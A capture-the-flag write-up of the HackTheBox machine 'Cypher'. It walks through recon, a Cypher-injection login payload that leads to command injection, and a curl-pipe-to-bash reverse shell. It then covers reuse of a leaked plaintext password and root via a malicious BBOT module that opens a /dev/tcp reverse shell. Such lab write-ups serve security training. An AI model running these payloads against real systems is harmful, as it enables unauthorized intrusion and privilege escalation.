Cypher – HackTheBox Link to heading

  • OS: Windows
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar cypher


Summary Link to heading

“Cypher” is a Medium difficulty machine from HackTheBox platform. The target machine is running a web server about surface attack mapping. The page has a vulnerable login panel to an injection for Cypher, a query language. After inspecting some hidden directories we find a .jar file that leaks the code running at the backend, showing an we can perform a Command Injection through the login injection, gaining access to the system. Once inside, we find a file with credentials for a second user. This second user can run BBOT (a bot used to recognize vulnerabilities) with privileges. We are then able to create a malicious module for BBOT and gain access as root user, compromising the system.


User Link to heading

Starting with a quick Nmap scan shows only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.217.223

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:07 -03
Initiating SYN Stealth Scan at 01:07
Scanning 10.129.217.223 [65535 ports]
Discovered open port 80/tcp on 10.129.217.223
Discovered open port 22/tcp on 10.129.217.223
Completed SYN Stealth Scan at 01:08, 16.32s elapsed (65535 total ports)
Nmap scan report for 10.129.217.223
Host is up, received user-set (0.16s latency).
Scanned at 2025-03-02 01:07:45 -03 for 16s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds
           Raw packets sent: 80015 (3.521MB) | Rcvd: 79731 (3.189MB)

We apply some recognition scans over these ports with -sVC flag:

❯ sudo nmap -sVC -p22,80 10.129.217.223

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:11 -03
Nmap scan report for 10.129.217.223
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

From the output we can that HTTP site redirects to : http://cypher.htb.

We can add this domain to our /etc/hosts file along with victim machine IP address to our /etc/hosts file running in a terminal:

❯ echo '10.129.217.223 cypher.htb' | sudo tee -a /etc/hosts

Visiting http://cypher.htb in a web browser shows:

Cypher 1

The site seems to use graphs for attack surface, something really similar as Obsidian or Bloodhound uses to view relations between concepts.

Clicking on Try our free demo just redirects to http://cypher.htb/login:

Cypher 2

But typical default credentials such as admin:admin or root:root does not work.

Clicking on About at the top bar redirects to http://cypher.htb/about shows what is the site about:

Cypher 3

This is a site to map Attack Surfaces for organization’s digital landscape.

To check what is sent when we attempt to log in we start Burpsuite. We go to http://cypher.htb/login and intercept the request sent after attempting to log in as a random user with a random password. We intercept the following POST request:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login

{"username":"testuser","password":"testpassword"}

The site sends the credentials through JSON data, which indicates that we might be using a NoSQL database.

Searching for Cypher injection on Google leads to this page. There, they talk about Cypher:


What is Cypher?

  • Cypher is short for (Open) Cypher Query Language.
  • It is Neo4j’s graph query language that lets you retrieve data from the graph. It’s like SQL for Graph databases.
  • It was originally intended to be used with Neo4j, but was opened up through theopenCypher project. It is now used by many other databases including RedisGraph, Spark, Amazon Neptune and SAP HANA Graph.
  • Cypher Query Language Reference, Version 9

This search, the site theme and also the machine name (Cypher) give clear hints that we should attempt some injections for Cypher. Based on the previously mentioned webpage we can attempt to inject commands through the characters:

'
"
'})

If we attempt a simple ' character (attempting to log in as test' and any password) we get an error message in the webpage:

Cypher

Doing the same but through Burpsuite sending the request:

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login

{"username":"testuser'","password":"testpassword"}

Returns:

HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 04:37:10 GMT
Content-Length: 3472
Connection: close

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}
<SNIP>

The error clearly shows it is using Neo4j package for Python; and an error at app.py which indicates that this server might be running on Flask. Since we got an error, we might be able to inject files.

Searching for hidden directories through a Brute Force Directory Listing with Gobuster and we get:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cypher.htb --no-error -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/index.html           (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

The directory testing is new.

Checking it with cURL along with html2text we get:

❯ curl -s http://cypher.htb/testing/ | html2text

****** Index of /testing/ ******
===============================================================================
../
custom-apoc-extension-1.0-SNAPSHOT.jar             17-Feb-2025 11:49
6556
===============================================================================

We have a Java file called custom-apoc-extension-1.0-SNAPSHOT.jar.

We download this file with wget:

❯ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar -q

and check its content using jd-gui:

❯ jd-gui &> /dev/null & disown

We open the downloaded .jar file at jd-gui. Eventually, we find a class called CustomFunctions.class file with the content:

Cypher 6

public class CustomFunctions {
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
  @Description("Returns the HTTP status code for the given URL as a string")
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
      url = "https://" + url; 
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
    System.out.println("Command: " + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;

We have a variable called custom.getUrlStatusCode and then it is being executed by /bin/sh. That line potentially shows a way to inject commands.

Searching how to inject commands, we find this little notes for Cypher Injections. Playing with them, one of them seems to work. First, start a temporal Python HTTP server on port 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and, at http://cypher.htb/login attempt the injection at username field:

test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;wget http://10.10.16.5:8000/test;#") YIELD statusCode AS a RETURN a;//

and any password.

Cypher 5

We get a GET request from the victim IP address:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.217.223 - - [02/Mar/2025 02:01:37] code 404, message File not found
10.129.217.223 - - [02/Mar/2025 02:01:37] "GET /test HTTP/1.1" 404 -

To obtain a reverse shell we can create a simple Bash script in our attacker machine with the content:

#!bin/bash

bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

where 10.10.16.5 is our attacker IP and 443 the port we will start listening with netcat. We save this file as rev.sh.

Remember to assign to it execution permissions:

❯ chmod +x rev.sh

and expose this file through a temporal Python HTTP server on port 8000:

❯ ls -la && python3 -m http.server 8000

total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar  2 02:11 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar  2 01:07 ..
-rwxrwxr-x 1 gunzf0x gunzf0x   62 Mar  2 02:11 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

In another terminal, start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and in the webpage pass the payload as username (and providing any password):

test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;curl http://10.10.16.5:8000/rev.sh|bash;#") YIELD statusCode AS a RETURN a;//

We get a call to our HTTP temporal server and, after that, a shell in our netcat listener as neo4j user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.217.223] 53714
bash: cannot set terminal process group (1372): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami

whoami
neo4j

Besides our user we have another user called graphasm:

neo4j@cypher:/$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash

Checking /home/graphasm to check if flag user was there shows:

neo4j@cypher:/$ ls -la /home/graphasm/

total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root     root     4096 Oct  8 17:58 ..
lrwxrwxrwx 1 root     root        9 Oct  8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 graphasm graphasm  156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm  807 Mar 31  2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .ssh
-rw-r----- 1 root     graphasm   33 Mar  2 00:40 user.txt

There is a bbot_preset.yml file. Checking it we have:

neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml

targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

We have a password.

We can check if this password is valid for graphasm user through SSH with NetExec:

❯ nxc ssh 10.129.217.223 -u 'graphasm' -p 'cU4btyib.20xtCMCXkBmerhK'

SSH         10.129.217.223  22     10.129.217.223   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
SSH         10.129.217.223  22     10.129.217.223   [+] graphasm:cU4btyib.20xtCMCXkBmerhK  Linux - Shell access!

They worked. We have valid credentials: graphasm:cU4btyib.20xtCMCXkBmerhK.

Log in through SSH as graphasm user:

❯ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh -o stricthostkeychecking=no graphasm@10.129.217.223

Warning: Permanently added '10.129.217.223' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Mar  2 05:26:02 AM UTC 2025

  System load:  0.0               Processes:             248
  Usage of /:   68.6% of 8.50GB   Users logged in:       0
  Memory usage: 24%               IPv4 address for eth0: 10.129.217.223
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Mar 2 05:26:03 2025 from 10.10.16.5
graphasm@cypher:~$

We can grab the user flag.


Root Link to heading

Checking privileges with sudo shows:

graphasm@cypher:~$ sudo -l

Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

We can run BBOT as any user without providing password.

Searching for BBOT we find its webpage and its Github repository:

Info
BEE-bot is a multipurpose scanner built to automate your Recon, Bug Bounties, and ASM!

It’s a bot, as the main page said, to map the attack surface of an organization through its internet exposed resources.

It is a symbolic link to a Python script:

graphasm@cypher:~$ file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot

graphasm@cypher:~$ file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable

We can see read more documentation about it and its advanced commands. We are able to load modules. We can see a list of modules here. Searching for any of these modules (for example, one called hackertarget) to see where they are stored with find:

graphasm@cypher:~$ find /opt/pipx/venvs/bbot/ -name "*hackertarget*" 2>/dev/null

/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/__pycache__/hackertarget.cpython-312.pyc
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/__pycache__/test_module_hackertarget.cpython-312.pyc

We get a directory:

/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/

But we are not able to write in this directory:

graphasm@cypher:~$ ls -ld /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/

drwxr-xr-x 8 root root 4096 Oct  8 18:10 /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules

To see how to write a custom module we can check official BBOT documentation. We could then add a custom module that executes commands at system level. First, create a configuration .yml file with the content:

module_dirs:
  - /tmp/modules

And save it as /tmp/conf.yml.

Then, create the directory that will contain the malicious module:

graphasm@cypher:~$ mkdir /tmp/modules

As an example, authors provide an example code. We can slightly modify this code to execute a system command and send us another reverse shell:

from bbot.modules.base import BaseModule
import os

class getrevshell(BaseModule):
    watched_events = ["DNS_NAME"]
    produced_events = ["GETREVSHELL"]
    flags = ["passive", "safe"]
    meta = {"description": "Revshell"}
    options = {"api_key": ""}
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True

    async def setup(self):
        os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1'")
        self.api_key = self.config.get("api_key")
        return True

    async def handle_event(self, event):
        pass

Where 10.10.16.2 is our attacker IP address and 443 is the port we will start listening with netcat. We save it as /tmp/modules/getrevshell.py.

Finally, after starting a listener with netcat on port 443, just execute BBOT importing the configuration .yml file and the custom module:

graphasm@cypher:~$ sudo /usr/local/bin/bbot -p /tmp/conf.yml -m getrevshell

We get a shell as root user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.217.223] 50006
root@cypher:/home/graphasm# whoami

whoami
root

GG. We can read the root flag at /root directory.

~Happy Hacking.